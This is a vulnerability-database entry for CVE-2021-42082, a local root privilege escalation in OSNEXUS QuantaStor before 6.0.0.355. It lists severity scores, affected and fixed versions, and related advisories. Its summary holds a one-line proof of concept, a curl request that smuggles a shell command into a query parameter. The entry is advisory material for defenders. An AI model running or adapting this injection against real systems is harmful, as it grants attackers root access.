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TI-2021-18591 Aliases CVE-2021-42082GHSA-3x7w-vvg2-w6r8

Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355

Priority LOW 35CWE-269Published · Updated

Key facts

Attack vector
Local
Privileges required
Low
User interaction
None
Attack complexity
Low
Impact type
Privilege escalation
Confidentiality · integrity · availability
High · High · High
Fix status
Fixed

Attack profile from CVSS 3.1 · CNA. Fix status from CNA. Impact type from CWE-269.

Summary

Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

Why it matters now

Exploitation None reported CISA SSVC · not in CISA KEV
EPSS 0.00185 8th percentileScored 2026-11-07
Public exploit Yes 2 exploit referencesTagged by the CNA
Fix Fixed QuantaStor (OSNEXUS): 6.0.0.355

SSVC decision points

CISA ADP · SSVC 2.0.3

Exploitation
None
Automatable
No
Technical impact
Total

The decision (Track, Attend, Act) also depends on your mission and well-being impact; see CISA's SSVC guide.

Affected products

VendorProductAffected versionsFixed inStatusSource
OSNEXUSQuantaStorbefore 6.0.0.3556.0.0.355Patch availableCNA
  • QuantaStor VendorOSNEXUS Affected before 6.0.0.355 Fixed in 6.0.0.355 Patch available CNA

CPE configurations NVD · 1

CPEVersionsRoleVendor
cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*before 6.0.0.355VulnerableOSNEXUS
  • cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:* Versions before 6.0.0.355 Vulnerable ·OSNEXUS

Remediation

  • Fix · CNA QuantaStor (OSNEXUS) Fixed in 6.0.0.355

Fixed in the same release

Records fixed by the same vendor advisory or release, as the CNA lists them.

  • Release ·

    OSNEXUS QuantaStor 6.0.0.355

    5 records Highest priority Priority MEDIUM 1 MEDIUM, 4 LOW

    Other records, highest priority first

    • TI-2021-18590 Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355Priority MEDIUM 44
    • TI-2021-18592 Authenticated Stored XSS in OSNEXUS QuantaStor 6.0.0.335Priority LOW 38
    • TI-2021-18589 Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355Priority LOW 34
    Show all 5 records →

Timeline

  1. 2026-10-02 Threatist record created from CVE-2021-42082
  2. 2026-10-03 Alias added: GHSA-3x7w-vvg2-w6r8

References

Exploit 2

Advisory 1

Other 1

  • TI-2021-03263 Authenticated Remote COmmand Execution as root in OSNEXUS QuantaStor version 6.0.0.355 and others CVSS 3.1CRITICAL 9.1
  • TI-2021-18590 Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355 CVSS 3.1CRITICAL 9.1
  • TI-2021-18592 Authenticated Stored XSS in OSNEXUS QuantaStor 6.0.0.335 CVSS 3.1HIGH 8.7
  • TI-2021-18589 Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355 CVSS 3.1HIGH 7.4
  • TI-2017-07338 On the OSNEXUS QuantaStor v4 virtual appliance before 4.3.1, if the REST call invoked… CVSS 3.0MEDIUM 6.1
  • TI-2017-07337 On the OSNEXUS QuantaStor v4 virtual appliance before 4.3.1, a flaw was found with the… CVSS 3.0MEDIUM 5.3
See all 7 →

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences